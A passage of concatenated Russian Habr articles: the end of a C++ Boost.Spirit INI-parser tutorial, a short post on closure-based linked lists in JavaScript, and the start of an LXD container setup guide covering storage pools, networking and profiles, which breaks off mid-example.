В конструкторе definition мы описываем грамматику. Грамматика переписывается на C++ почти дословно. inidata состоит из нескольких секций (72) — это выражается звёздочкой (как замыкание Клини, но звёздочка слева). Секция начинается с квадратной скобки — для этого используется встроенный парсер ch\_p, который парсит один символ. Вместо запятой из нотации Бэкуса-Наура используется оператор >>. В квадратных скобках после выражения пишется функтор-обработчик события (75, 82, 86). Символ "+" слева означает «хотя бы один», а "~" означает отрицание. alnum\_p — встроенный парсер для букв и цифр. chset<> соответствует любому символу из строки (важно, что минус идёт первым, иначе он воспринимается как знак интервала, вроде «a-z»). blank\_p соответствует пробельному символу в строке (пробел или табуляция), space\_p соответствует любому пробельному символу (в т.ч. и переводу строки и возврату каретки).
Отметим, что нетерминалы ident и identChar удалось слить в один благодаря оператору "+" — в нотации Бэкуса-Наура это было невозможно, т.к. там отсутствует подобное обозначение.
С грамматикой всё. Осталось научиться удалять комментарии и искать значение в IniData.
Для удаления комментариев нам потребуется специальный функтор.
`104 **struct** is_comment{ bool **operator**()( string const& s ) const { **return** s[0] == '\n' || s[0] == ';'; } };`
Теперь напишем функцию поиска в IniData.
`106 **struct** first_is
107 {
108 first_is(std::string const& s) : s_(s) {}
109
110 **template**< **class** Pair >
111 bool **operator**()(Pair const& p) const { **return** p.first == s_; }
112
113 string const& s_;
114 };
115
116 bool find_value( IniData const& ini, string const& s, string const& p, string & res )
117 {
118 IniData::const_iterator sit = find_if(ini.begin(), ini.end(), first_is(s));
119 **if** (sit == ini.end())
120 **return** false;
121
122 Entries::const_iterator it = find_if(sit->second.begin(), sit->second.end(), first_is(p));
123 **if** (it == sit->second.end())
124 **return** false;
125
126 res = it->second;
127 **return** true;
128 }`
Вместо функтора first\_is можно применить boost::bind, но я решил не мешать всё в одну кучу. С поиском всё просто: сначала в списке ищем секцию по имени, потом в списке записей секции ищем параметр по имени, и, если всё нашлось, то возвращаем значение параметра через параметр-ссылку.
Осталось написать main.
`130 int main( int argc, char** argv)
131 {
132 **if** ( argc != 4 )
133 {
134 cout << "Usage: " << argv[0] << " " << endl;
135 **return** 0;
136 }
137
138 ifstream in(argv[1]);
139 **if**( !in )
140 {
141 cout << "Can't open file \"" << argv[1] << '\"' << endl;
142 **return** 1;
143 }
144
145 vector< string > lns;
146
147 std::string s;
148 **while**( !in.eof() )
149 {
150 std::getline( in, s );
151 boost::algorithm::trim(s);
152 lns.push_back( s+='\n' );
153 }
154 lns.erase( remove_if(lns.begin(), lns.end(), is_comment()), lns.end());
155 string text = accumulate( lns.begin(), lns.end(), string() );
156
157 IniData data;
158 inidata_parser parser(data); // Our parser
159 BOOST_SPIRIT_DEBUG_NODE(parser);
160
161 parse_info<> info = parse(text.c_str(), parser, nothing_p);
162 **if** (!info.hit)
163 {
164 cout << "Parse error\n";
165 **return** 1;
166 }
167
168 string res;
169 **if** (find_value(data, argv[2], argv[3], res))
170 cout << res;
171 **else**
172 cout << "Can't find requested parameter";
173 cout << endl;
174 }`
Строки 132-136 — проверяем параметры программы: если их не 4, то выводим usage. Если с параметрами всё ок, то открываем файл (138-143). Если и с файлом всё нормально, то создаём массив строк lns (145) и считываем в него весь файл (147-153). После этого удаляем оттуда комментарии, используя припасённый функтор is\_comment (154). В заключение склеиваем все строчки в одну (155).
В строчках 157-159 создаётся и инициализируется парсер. Теперь запускаем парсер — для этого используется функция parse, которая принимает на вход сам текст, парсер и специальный парсер для пропускаемых символов (скажем, мы хотели бы пропускать все пробелы). В нашем случае парсер для пропускаемых символов будет пустым — nothing\_p (т.е. ничего не парсящий). Результатом функции parse является структура parse\_info<>. Нас интересует булево поле hit этой структуры, которое истинное, если не произошло ошибок. В строчках 162-166 мы сообщаем, если произошла ошибка. Осталось только найти параметр, заданный в командной строке и вывести его значение (168-173).
Теперь код полностью написан. Компилируем его и запускаем на тестовом примере.
`$ g++ ini.cpp -o ini_cpp
$ ./ini_cpp /usr/lib/firefox-3.0.5/application.ini App ID
{ec8030f7-c20a-464f-9b0e-13a3a9e97384}
$ ./ini_cpp /usr/lib/firefox-3.0.5/application.ini App IDD
Can't find requested parameter`
Надеюсь, что данная статья поможет вам написать свой собственный парсер =)
**Интересное замечание:** вы можете сравнить парсер из этой статьи с парсером на Haskell из статьи [«Создаём парсер для ini-файлов на Haskell»](http://habrahabr.ru/blogs/Haskell/50337/).
PS. Спасибо, что помогли перенести эту статью в блог C++. | https://habr.com/ru/post/50976/ | null | ru | null |
# Связные списки в функциональном стиле
Рассмотрим вариант реализации связных списков через [замыкания](http://ru.wikipedia.org/wiki/Замыкание_(программирование)).
Для обозначения списков будем использовать нотацию, похожую на Haskell: `x:xs`, где `x` — начало списка (`head`), `xs` — продолжение (`tail`).
В качестве языка реализации я выбрал JavaScript.
### Конструируем список
Для работы со связными списками необходимы следующие базовые примитивы: `nil` — пустой список, `prepend` (`cons`) — функция вставки в начало списка, `head` и `tail`.
Создание списка из двух элементов выглядит следующим образом:
```
prepend('a', prepend('b', nil))
// 'a' -> 'b' -> nil
```
Реализация функции `prepend`:
```
function prepend(x, xs) {
return function (select) {
return select(x, xs)
}
}
```
Функция `select` нужна для доступа к свободным переменным (`x:xs`).
Реализация `head` и `tail` сводится к вызову функции-списка с нужным значением `select`:
```
function select_head(x, xs) { return x }
function select_tail(x, xs) { return xs }
function head(a) { return a(select_head) }
function tail(a) { return a(select_tail) }
```
Осталось реализовать пустой список (`nil`):
```
function nil() { return nil }
```
Таким образом, `head(nil) === tail(nil) === nil`.
#### Пример использования
Несложная программа, иллюстрирующая конструирование и обход списка:
```
var a = prepend('a', prepend('b', nil))
// 'a' -> 'b' -> nil
head(a) // => 'a'
head(tail(a)) // => 'b'
head(tail(tail(a))) // => nil
while (a !== nil) {
console.log(head(a))
a = tail(a)
}
```
### Функции высшего порядка
Для получившейся структуры данных можно реализовать функции высшего порядка, например, `map`:
```
function map(fn, a) {
if (a === nil) return nil
return prepend(fn(head(a)), map(fn, tail(a)))
}
```
Это позволит работать с нашими списками в функциональном стиле:
```
var a = prepend(1, prepend(2, prepend(3, nil)))
// 1 -> 2 -> 3 -> nil
function power_of_2(x) { return 1 << x }
var b = map(power_of_2, a)
// 2 -> 4 -> 8 -> nil
```
Другие ассоциированные функции (`filter`, `reduce`) предлагаются читателю в качестве домашнего задания.
### Такие дела™
При написании статьи ни один массив не пострадал.
Предвосхищая [картинку про троллейбус из хлеба:](https://www.google.com/search?q=троллейбус+из+хлеба&tbm=isch) это, безусловно, не прикладное решение. Более того, на работе за такой коммит могут легко и непринужденно оторвать руки. Что с этим знанием делать дальше — решать вам.
GitHub: [github.com/mvasilkov/functional-js](https://github.com/mvasilkov/functional-js) | https://habr.com/ru/post/175725/ | null | ru | null |
# Базовые возможности LXD — системы контейнеров в Linux
**LXD** — это системный менеджер контейнеров следующего поколения, так гласит [источник](https://linuxcontainers.org/lxd/introduction/). Он предлагает пользовательский интерфейс, похожий на виртуальные машины, но использующий вместо этого контейнеры Linux.
**Ядро LXD** — это привилегированный демон (сервис запущенный с правами root), который предоставляет REST API через локальный unix сокет, а также через сеть, если установлена соответствующая конфигурация. Клиенты, такие как инструмент командной строки поставляемый с LXD посылают запросы через этот REST API. Это означает, что независимо от того, обращаетесь ли вы к локальному хосту или к удаленному, все работает одинаково.
В этой статье мы не будем подробно останавливаться на концепциях LXD, не будем рассматривать все доступные возможности изложенные в документации в том числе реализацию в последних версиях LXD поддержки виртуальных машин QEMU параллельно с контейнерами. Вместо этого мы узнаем только базовые возможности управления контейнерами — настроим пулы хранилищ, сеть, запустим контейнер, применим лимиты на ресурсы, а также рассмотрим как использовать снепшоты, чтобы вы смогли получить базовое представление о LXD и использовать контейнеры в Linux.
Для получения полной информации следует обратиться к официальному источнику:
* [Сайт разработчика](https://linuxcontainers.org)
* [Документация](https://linuxcontainers.org/lxd/docs/master/)
* [Форум](https://discuss.linuxcontainers.org/)
Навигация
=========
* [Инсталляция LXD](#installyaciya-lxd-navigaciya)
+ [Инсталляция LXD в дистрибутивах Ubuntu](#installyaciya-lxd-v-distributivah-ubuntu-navigaciya)
+ [Инсталляция LXD в дистрибутивах Arch Linux](#installyaciya-lxd-v-distributivah-arch-linux-navigaciya)
* [Инициализация LXD](#inicializaciya-lxd-navigaciya)
+ [Обзор хранилища LXD (Storage)](#obzor-hranilischa-lxd-storage-navigaciya)
+ [Выбор файловой системы для Storage Pool](#vybor-faylovoy-sistemy-dlya-storage-pool-navigaciya)
+ [Инициализация основных компонент LXD](#inicializaciya-osnovnyh-komponent-lxd-navigaciya)
+ [Создание дополнительного Storage Pool](#sozdanie-dopolnitelnogo-storage-pool-navigaciya)
- [Увеличение размера Storage Pool](#uvelichenie-razmera-storage-pool-navigaciya)
- [Автовставка loopback-файла в слот loopback-устройства](#avtovstavka-loopback-fayla-v-slot-loopback-ustroystva-navigaciya)
+ [Безопасность. Привилегии контейнеров](#bezopasnost-privilegii-konteynerov-navigaciya)
+ [Создание виртуального коммутатора сети](#sozdanie-virtualnogo-kommutatora-seti-navigaciya)
+ [Профиль конфигурации](#profil-konfiguracii-navigaciya)
- [Редактирование профиля](#redaktirovanie-profilya-navigaciya)
- [Создание новых профилей](#sozdanie-novyh-profiley-navigaciya)
+ [Репозиторий образов](#repozitoriy-obrazov-navigaciya)
- [Удаленные репозитории образов](#udalennye-repozitorii-obrazov-navigaciya)
- [Локальный репозиторий образов](#lokalnyy-repozitoriy-obrazov-navigaciya)
+ [Конфигурация LXD](#konfiguraciya-lxd-navigaciya)
* [Создание и управление контейнером](#sozdanie-i-upravlenie-konteynerom-navigaciya)
+ [Установка статического IP адреса](#ustanovka-staticheskogo-ip-adresa-navigaciya)
+ [Доступ к контейнеру](#dostup-k-konteyneru-navigaciya)
+ [Управление ресурсами контейнера](#upravlenie-resursami-konteynera-navigaciya)
- [Ограничение ресурсов RAM (ОЗУ)](#ogranichenie-resursov-ram-ozu-navigaciya)
- [Ограничение ресурсов CPU (ЦП)](#ogranichenie-resursov-cpu-cp-navigaciya)
- [Ограничение дискового пространства](#ogranichenie-diskovogo-prostranstva-navigaciya)
- [Статистика потребления ресурсов](#statistika-potrebleniya-resursov-navigaciya)
+ [Работа со снепшотами](#rabota-so-snepshotami-navigaciya)
+ [Удаление контейнера](#udalenie-konteynera-navigaciya)
+ [Экспорт контейнеров](#eksport-konteynerov-navigaciya)
Инсталляция LXD [^](#navigaciya)
================================
Прежде чем мы приступим к инсталляции пакета в системе, разберемся с именованием в проекте LXD, чтобы в дальнейшем у нас не было путаницы так как до проекта LXD была реализация проекта LXC одним и тем же автором-разработчиком.
Итак, проект LXD включает в себя два основных бинарных файла:
* LXD `/usr/bin/lxd` — демон (сервис REST API), где `LX` в аббревиатуре это сокращение от **L**inu**x**, а `D` — демон. Также, это одноименный инсталляционный пакет `lxd`
* LXC `/usr/bin/lxc` — клиент командной строки, где `C` в аббревиатуре это **c**ommand line **c**lient for LXD
Большинство команд представленных в статье, будут относится к клиенту командной строки `lxc`, например `lxc init`, но также в статье будет рассмотрена команда инициализации LXD — `lxd init` которую визуально можно спутать с `lxc init`.
Следующим шагом мы приступим к инсталляции пакета в системе и для этого предлагаю рассмотреть установку на основе двух популярных дистрибутивов и их производных — Ubuntu и Arch Linux. Инсталляция в Ubuntu немного отличается от классической, так как пакет устанавливается как snap-пакет и файловые пути к структуре проекта LXD будут отличаться от тех, что приведены в этой статье, но я думаю вас не затруднит разобраться с этим самостоятельно.
Инсталляция LXD в дистрибутивах Ubuntu [^](#navigaciya)
-------------------------------------------------------
В дистрибутиве Ubuntu 19.10 пакет `lxd` имеет трансляцию на [snap-пакет](https://pingvinus.ru/note/snap):
```
apt search lxd
lxd/eoan 1:0.7 all
Transitional package - lxd -> snap (lxd)
```
Это значит, что будут установлены сразу два пакета, один системный, а другой как snap-пакет. Установка двух пакетов в системе может создать некоторую проблему, при которой системный пакет может стать сиротой, если удалить snap-пакет менеджером snap-пакетов.
Найти пакет `lxd` в snap-репозитории можно следующей командой:
```
snap find lxd
Name Version Summary
lxd 3.21 System container manager and API
lxd-demo-server 0+git.6d54658 Online software demo sessions using LXD
nova ocata OpenStack Compute Service (nova)
nova-hypervisor ocata OpenStack Compute Service - KVM Hypervisor (nova)
distrobuilder 1.0 Image builder for LXC and LXD
fabrica 0.1 Build snaps by simply pointing a web form to...
satellite 0.1.2 Advanced scalable Open source intelligence platform
```
Запустив команду `list` можно убедится, что пакет `lxd` еще не установлен:
```
snap list
Name Version Rev Tracking Publisher Notes
core 16-2.43.3 8689 stable canonical✓ core
```
Не смотря на то, что LXD является snap-пакетом, устанавливать его нужно через системный пакет `lxd`, который создаст в системе соответствующую группу, необходимые утилиты в `/usr/bin` и т.д.
```
sudo apt update
sudo apt install lxd
```
Убедимся, что пакет установлен как snap-пакет:
```
snap list
Name Version Rev Tracking Publisher Notes
core 16-2.43.3 8689 stable canonical✓ core
lxd 3.21 13474 stable/… canonical✓ -
```
Инсталляция LXD в дистрибутивах Arch Linux [^](#navigaciya)
-----------------------------------------------------------
Для установки пакета LXD в системе необходимо запустить следующие команды, первая — актуализирует список пакетов в системе доступных в репозитории, вторая — непосредственно установит пакет:
```
sudo pacman -Syyu && sudo pacman -S lxd
```
После установки пакета, для управления LXD обычным пользователем, его необходимо добавить в системную группу `lxd`:
```
sudo usermod -a -G lxd user1
```
Убедимся, что пользователь `user1` добавлен в группу `lxd`:
```
id -Gn user1
user1 adm dialout cdrom floppy sudo audio dip video plugdev netdev lxd
```
Если группа `lxd` не видна в списке, тогда нужно активировать сессию пользователя заново. Для этого нужно выйти и зайти в систему под этим же пользователем.
Активируем в `systemd` загрузку сервиса LXD при старте системы:
```
sudo systemctl enable lxd
```
Запускаем сервис:
```
sudo systemctl start lxd
```
Проверяем статус сервиса:
```
sudo systemctl status lxd
```
Инициализация LXD [^](#navigaciya)
==================================
Прежде чем использовать контейнеры необходимо выполнить инициализацию основных компонент LXD — виртуальную сеть и хранилище в котором будут хранится файлы контейнера, образов и другие файлы. В этом нам поможет мастер инициализации, который инициализирует компоненты после того как мы ответим на его вопросы.
Обзор хранилища LXD (Storage) [^](#navigaciya)
----------------------------------------------
В этом разделе мы только ознакомимся с хранилищем в LXD, а инициализировать его мы будем немного позже с помощью мастера инициализации.
Хранилище (*Storage*) [состоит](https://linuxcontainers.org/lxd/docs/master/storage) из одного или нескольких *Storage Pool* который использует одну из поддерживаемых файловых систем такие как ZFS, BTRFS, LVM или обычные директории. Каждый *Storage Pool* разделяется на тома (*Storage Volume*) которые содержат образы, контейнеры или данные для других целей.
* **Образы** — это специально собранные дистрибутивы без ядра Linux и доступные из внешних источников
* **Контейнеры** — это развернутые дистрибутивы из образов, готовые к эксплуатации
* **Снепшоты** — это снимки состояния контейнеров к которым можно возвращаться
Для управления хранилищем в LXD служит команда `lxc storage` справку по которой можно получить указав ключ — `lxc storage --help`
Следующая команда выводит на экран список всех *Storage Pool* в LXD хранилище:
```
lxc storage list
+---------+-------------+--------+--------------------------------+---------+
| NAME | DESCRIPTION | DRIVER | SOURCE | USED BY |
+---------+-------------+--------+--------------------------------+---------+
| hddpool | | btrfs | /dev/loop1 | 2 |
+---------+-------------+--------+--------------------------------+---------+
| ssdpool | | btrfs | /var/lib/lxd/disks/ssdpool.img | 4 |
+---------+-------------+--------+--------------------------------+---------+
```
Для просмотра списка всех *Storage Volume* в выбранном *Storage Pool* служит команда `lxc storage volume list`:
```
lxc storage volume list hddpool
+-------+----------------------------------+-------------+---------+
| TYPE | NAME | DESCRIPTION | USED BY |
+-------+----------------------------------+-------------+---------+
| image | ebd565585223487526ddb3607f515... | | 1 |
+-------+----------------------------------+-------------+---------+
```
```
lxc storage volume list ssdpool
+-----------+----------------------------------+-------------+---------+
| TYPE | NAME | DESCRIPTION | USED BY |
+-----------+----------------------------------+-------------+---------+
| container | alp3 | | 1 |
+-----------+----------------------------------+-------------+---------+
| container | jupyter | | 1 |
+-----------+----------------------------------+-------------+---------+
| image | ebd565585223487526ddb3607f515... | | 1 |
+-----------+----------------------------------+-------------+---------+
```
Также, если для *Storage Pool* при создании была выбрана файловая система BTRFS, то получить список *Storage Volume* или *subvolumes* в интерпретации BTRFS можно с помощью инструментария этой файловой системы:
```
sudo btrfs subvolume list -p /var/lib/lxd/storage-pools/hddpool
ID 257 gen 818 parent 5 top level 5 path images/ebd565585223487526ddb3607f5156e875c15a89e21b61ef004132196da6a0a3
```
```
sudo btrfs subvolume list -p /var/lib/lxd/storage-pools/ssdpool
ID 257 gen 1820 parent 5 top level 5 path images/ebd565585223487526ddb3607f5156e875c15a89e21b61ef004132196da6a0a3
ID 260 gen 1819 parent 5 top level 5 path containers/jupyter
ID 263 gen 1820 parent 5 top level 5 path containers/alp3
```
Выбор файловой системы для Storage Pool [^](#navigaciya)
--------------------------------------------------------
Во время инициализации LXD задаёт несколько вопросов, среди которых будет определение типа файловой системы для дефолтного *Storage Pool*. По умолчанию для него выбирается файловая система BTRFS. Поменять на другую ФС после создания будет невозможно. Для выбора ФС предлагается [таблица сравнения возможностей](https://linuxcontainers.org/lxd/docs/master/storage#storage-backends-and-supported-functions):
| Feature | Directory | Btrfs | LVM | ZFS | CEPH |
| --- | --- | --- | --- | --- | --- |
| Optimized image storage | no | yes | yes | yes | yes |
| Optimized instance creation | no | yes | yes | yes | yes |
| Optimized snapshot creation | no | yes | yes | yes | yes |
| Optimized image transfer | no | yes | no | yes | yes |
| Optimized instance transfer | no | yes | no | yes | yes |
| Copy on write | no | yes | yes | yes | yes |
| Block based | no | no | yes | no | yes |
| Instant cloning | no | yes | yes | yes | yes |
| Storage driver usable inside a container | yes | yes | no | no | no |
| Restore from older snapshots (not latest) | yes | yes | yes | no | yes |
| Storage quotas | yes(\*) | yes | yes | yes | no |
Инициализация основных компонент LXD [^](#navigaciya)
-----------------------------------------------------
Итак, у нас всё готово для инициализации LXD. Запустите команду вызова мастера инициализации `lxd init` и введите ответы на вопросы после знака двоеточия так как показано в примере ниже или измените их согласно вашим условиям:
```
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]: ssdpool
Name of the storage backend to use (lvm, btrfs, dir) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]: 10GB
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 10.0.5.1/24
Would you like LXD to NAT IPv4 traffic on your bridge? [default=yes]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: none
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes] no
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
```
Создание дополнительного Storage Pool [^](#navigaciya)
------------------------------------------------------
В предыдущем шаге мы создали *Storage Pool* которому дали название `ssdpool` и файл которого расположился в моей системе по адресу `/var/lib/lxd/disks/ssdpool.img`. Этот адрес файловой системы соответствует физическому SSD диску в моём ПК.
Следующими действиями, для расширения понимания того, какую роль играет *Storage Pool* в хранилище, мы создадим второй *Storage Pool* который будет физически располагаться на другом типе диске, на HDD. Проблема заключается в том, что LXD не позволяет создавать *Storage Pool* вне адреса `/var/lib/lxd/disks/` и даже символические ссылки не будут работать, [смотрите ответ разработчика](https://discuss.linuxcontainers.org/t/how-to-move-a-storage-to-other-places/7171/3). Обойти это ограничение мы можем при инициализации/форматировании *Storage Pool* указав значение как блочное устройство вместо пути к loopback-файлу указав это в ключе `source`.
Итак, до создания *Storage Pool* необходимо определить loopback-файл или существующий раздел в вашей файловой системе который он будет использовать. Для этого, мы создадим и будем использовать файл который ограничим размером в 10GB:
```
dd if=/dev/zero of=/mnt/work/lxd/hddpool.img bs=1MB count=10000
10000+0 records in
10000+0 records out
10000000000 bytes (10 GB, 9,3 GiB) copied, 38,4414 s, 260 MB/s
```
Подключим loopback-файл в свободное loopback-устройство:
```
sudo losetup --find --show /mnt/work/lxd/hddpool.img
/dev/loop1
```
Благодаря ключу `--show` выполнение команды возвращает на экран имя устройства в которое подключился наш loopback-файл. При необходимости, мы можем вывести на экран список всех занятых устройств этого типа, чтобы убедится в корректности наших действий:
```
losetup -l
NAME SIZELIMIT OFFSET AUTOCLEAR RO BACK-FILE DIO LOG-SEC
/dev/loop1 0 0 0 0 /mnt/work/lxd/hddpool.img 0 512
/dev/loop0 0 0 1 0 /var/lib/lxd/disks/ssdpool.img 0 512
```
Из списка можно обнаружить, что в устройстве `/dev/loop1` подключен loopback-файл `/mnt/work/lxd/hddpool.img`, а в устройстве `/dev/loop0` подключен loopback-файл `/var/lib/lxd/disks/ssdpool.img` который соответствует дефолтному *Storage Pool*.
Следующая команда создает новый *Storage Pool* в LXD на основе только что подготовленного loopback-файла. LXD отформатирует loopback-файл `/mnt/work/lxd/hddpool.img` в устройстве `/dev/loop1` под файловую систему BTRFS:
```
lxc storage create hddpool btrfs size=10GB source=/dev/loop1
```
Выведем список всех *Storage Pool* на экран:
```
lxc storage list
+---------+-------------+--------+--------------------------------+---------+
| NAME | DESCRIPTION | DRIVER | SOURCE | USED BY |
+---------+-------------+--------+--------------------------------+---------+
| hddpool | | btrfs | /dev/loop1 | 0 |
+---------+-------------+--------+--------------------------------+---------+
| ssdpool | | btrfs | /var/lib/lxd/disks/ssdpool.img | 0 |
+---------+-------------+--------+--------------------------------+---------+
```
### Увеличение размера Storage Pool [^](#navigaciya)
После создания *Storage Pool*, при необходимости, его можно расширить. Для *Storage Pool* основанном на файловой системе BTRFS выполните следующие команды:
```
sudo truncate -s +5G /mnt/work/lxd/hddpool.img
sudo losetup -c /dev/loop1
sudo btrfs filesystem resize max /var/lib/lxd/storage-pools/hddpool
```
### Автовставка loopback-файла в слот loopback-устройства [^](#navigaciya)
У нас есть одна небольшая проблема, при перезагруке системы хоста, файл `/mnt/work/lxd/hddpool.img` "вылетит" из устройства `/dev/loop1` и сервис LXD упадет при загрузке так как не увидит его в этом устройстве. Для решения этой проблемы нужно создать системный сервис который будет вставлять этот файл в устройство `/dev/loop1` при загрузке системы хоста.
Создадим *unit* файл типа *service* в `/etc/systemd/system/` для системы инициализации SystemD:
```
cat << EOF | sudo tee -a /etc/systemd/system/lxd-hddpool.service
[Unit]
Description=Losetup LXD Storage Pool (hddpool)
After=local-fs.target
[Service]
Type=oneshot
ExecStart=/sbin/losetup /dev/loop1 /mnt/work/lxd/hddpool.img
RemainAfterExit=true
[Install]
WantedBy=local-fs.target
EOF
```
Активируем сервис:
```
sudo systemctl enable lxd-hddpool
Created symlink /etc/systemd/system/local-fs.target.wants/lxd-hddpool.service → /etc/systemd/system/lxd-hddpool.service.
```
После рестарта хостовой системы проверяем статус сервиса:
```
systemctl status lxd-hddpool.service
● lxd-hddpool.service - Losetup LXD Storage Pool (hddpool)
Loaded: loaded (/etc/systemd/system/lxd-hddpool.service; enabled; vendor preset: disabled)
Active: active (exited) since Wed 2020-04-08 03:43:53 MSK; 1min 37s ago
Process: 711 ExecStart=/sbin/losetup /dev/loop1 /mnt/work/lxd/hddpool.img (code=exited, status=0/SUCCESS)
Main PID: 711 (code=exited, status=0/SUCCESS)
апр 08 03:43:52 manjaro systemd[1]: Starting Losetup LXD Storage Pool (hddpool)...
апр 08 03:43:53 manjaro systemd[1]: Finished Losetup LXD Storage Pool (hddpool).
```
Из вывод мы можем убедиться, что состояние сервиса равно *active*, несмотря на то, что выполнение нашего скрипта из одной команды завершилось, это позволила нам сделать опция `RemainAfterExit=true`.
Безопасность. Привилегии контейнеров [^](#navigaciya)
-----------------------------------------------------
Так как все процессы контейнера фактически исполняются в изоляции на хостовой системе используя его ядро, то для дополнительной защиты доступа процессов контейнера к системе хоста LXD предлагает привилегированность процессов, где:
* **Привилегированные контейнеры** — это контейнеры в которых процессы с UID и GID соответствуют тому же владельцу, что и на хостовой системе. Например, процесс запущенный в контейнере с UID равным 0 имеет все те же права доступа, что и процесс хостовой системы с UID равным 0. Другими словами, root пользователь в контейнере обладает всеми правами не только в контейнере, но и на хостовой системе если он сможет выйти за пределы изолированного пространства имен контейнера.
* **Непривилегированные контейнеры** — это контейнеры в которых процессы принадлежат владельцу UID и GID с номером от 0 до 65535, но для хостовой системы владелец маскируется с помощью добавляемого бита SubUID и SubGID соответственно. Например, пользователь с UID=0 в контейнере будет замечен в хостовой системе как `SubUID + UID`. Это защищает хост-систему, поскольку, если какой-либо процесс в контейнере сможет выйти из своего изолированного пространства имен, он может взаимодействовать с хост-системой только как процесс с неизвестным, очень высоким UID/GID.
По умолчанию, вновь создаваемые контейнеры имеют статус непривилегированных и поэтому мы должны определить SubUID и SubGID.
Создадим два конфигурационных файла в которых зададим маску для SubUID и SubGID соответственно:
```
sudo touch /etc{/subuid,/subgid}
sudo usermod --add-subuids 1000000-1065535 root
sudo usermod --add-subgids 1000000-1065535 root
```
Для применения изменений, сервис LXD должен быть рестартован:
```
sudo systemctl restart lxd
```
Создание виртуального коммутатора сети [^](#navigaciya)
-------------------------------------------------------
Так как мы ранее инициализировали сеть с помощью мастера инициализации `lxd init` и создали сетевое устройство `lxdbr0`, то в этом разделе мы просто ознакомимся с сетью в LXD и с тем, как создавать виртуальный коммутатор (сетевой мост, bridge) с помощью команды клиента.
Следующая схема демонстрирует как коммутатор (сетевой мост, bridge) объединяет хост и контейнеры в сеть:
Контейнеры могут взаимодействовать посредством сети с другими контейнерами или хостом на котором эти контейнеры обслуживаются. Для этого необходимо слинковать виртуальные сетевые карты контейнеров с виртуальным коммутатором. В начале создадим коммутатор, а сетевые интерфейсы контейнера будут слинкованы в последующих главах, после того как будет создан сам контейнер.
Следующая команда создаёт коммутатор с подсетью `10.0.5.0/24` и IPv4 адресом `10.0.5.1/24`, а также включает `ipv4.nat` чтобы контейнеры смогли получать интернет через хост с помощью службы NAT:
```
lxc network create lxdbr0 ipv4.address=10.0.5.1/24 ipv4.nat=true ipv6.address=none
```
Проверяем список сетевых устройств доступных LXD:
```
lxc network list
+--------+----------+---------+-------------+---------+
| NAME | TYPE | MANAGED | DESCRIPTION | USED BY |
+--------+----------+---------+-------------+---------+
| eno1 | physical | NO | | 0 |
+--------+----------+---------+-------------+---------+
| lxdbr0 | bridge | YES | | 0 |
+--------+----------+---------+-------------+---------+
```
Также, убедится в создании сетевого устройства можно с помощью штатного стредства Linux-дистрибутива — `ip link` или `ip addr`:
```
ip addr
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid\_lft forever preferred\_lft forever
inet6 ::1/128 scope host
valid\_lft forever preferred\_lft forever
2: eno1: mtu 1500 qdisc fq\_codel state UP group default qlen 1000
link/ether bc:ee:7b:5a:6b:44 brd ff:ff:ff:ff:ff:ff
altname enp0s25
inet6 fe80::9571:11f3:6e0c:c07b/64 scope link noprefixroute
valid\_lft forever preferred\_lft forever
3: lxdbr0: mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether c2:38:90:df:cb:59 brd ff:ff:ff:ff:ff:ff
inet 10.0.5.1/24 scope global lxdbr0
valid\_lft forever preferred\_lft forever
inet6 fe80::c038:90ff:fedf:cb59/64 scope link
valid\_lft forever preferred\_lft forever
5: veth3ddab174@if4: mtu 1500 qdisc noqueue master lxdbr0 state UP group default qlen 1000
link/ether ca:c3:5c:1d:22:26 brd ff:ff:ff:ff:ff:ff link-netnsid 0
```
Профиль конфигурации [^](#navigaciya)
-------------------------------------
Каждый контейнер в LXD имеет свою собственную конфигурацию и может расширять её с помощью глобально декларируемых конфигураций которые называются *профилями конфигурации*. Применение профилей конфигурации к контейнеру имеет каскадную модель, следующий пример демонстрирует это:
В этом примере, в системе LXD созданы три профиля: `default`, `hddpool` и `hostfs`. Все три профиля применены к контейнеру у которого имеется локальная конфигурация (серая зона). Профиль `default` имеет устройство `root` у которого параметр `pool` равен `ssdpool`, но благодаря каскадной модели применения конфигурации мы можем применить для контейнера профиль `hddpool` у которого параметр `pool` перекроет этот же параметр из профиля `default` и контейнер получит конфигурацию устройства `root` с параметром `pool` равным **`hddpool`**, а профиль `hostfs` просто добавляет новое устройство в контейнер.
Выведем на экран список всех доступных профилей конфигурации:
```
lxc profile list
+---------+---------+
| NAME | USED BY |
+---------+---------+
| default | 1 |
+---------+---------+
| hddroot | 0 |
+---------+---------+
| ssdroot | 1 |
+---------+---------+
```
Полный список доступных команд для управления профилями можно получить добавив ключ `--help`:
```
lxc profile --help
Description:
Manage profiles
Usage:
lxc profile [command]
Available Commands:
add Add profiles to instances
assign Assign sets of profiles to instances
copy Copy profiles
create Create profiles
delete Delete profiles
device Manage instance devices
edit Edit profile configurations as YAML
get Get values for profile configuration keys
list List profiles
remove Remove profiles from instances
rename Rename profiles
set Set profile configuration keys
show Show profile configurations
unset Unset profile configuration keys
```
### Редактирование профиля [^](#navigaciya)
Профиль конфигурации по умолчанию `default` не имеет конфигурации сетевого интерфейса и все вновь создаваемые контейнеры не получают сеть. Для них необходимо создавать отдельными командами локальные сетевые интерфейсы, но мы можем создать в профиле конфигурации глобальный сетевой интерфейс который будет разделяться между всеми контейнерами использующими этот профиль. Таким образом, сразу после команды создания нового контейнера он получит сеть с доступом в интернет. При этом, нет ограничений, мы всегда можем позже создать локальный сетевой интерфейс для контейнера если будет в этом необходимость и/или удалить интерфейс из профиля.
Следующая команда добавит в профиль конфигурации устройство `eth0` типа `nic` присоединяемого к сети `lxdbr0`:
```
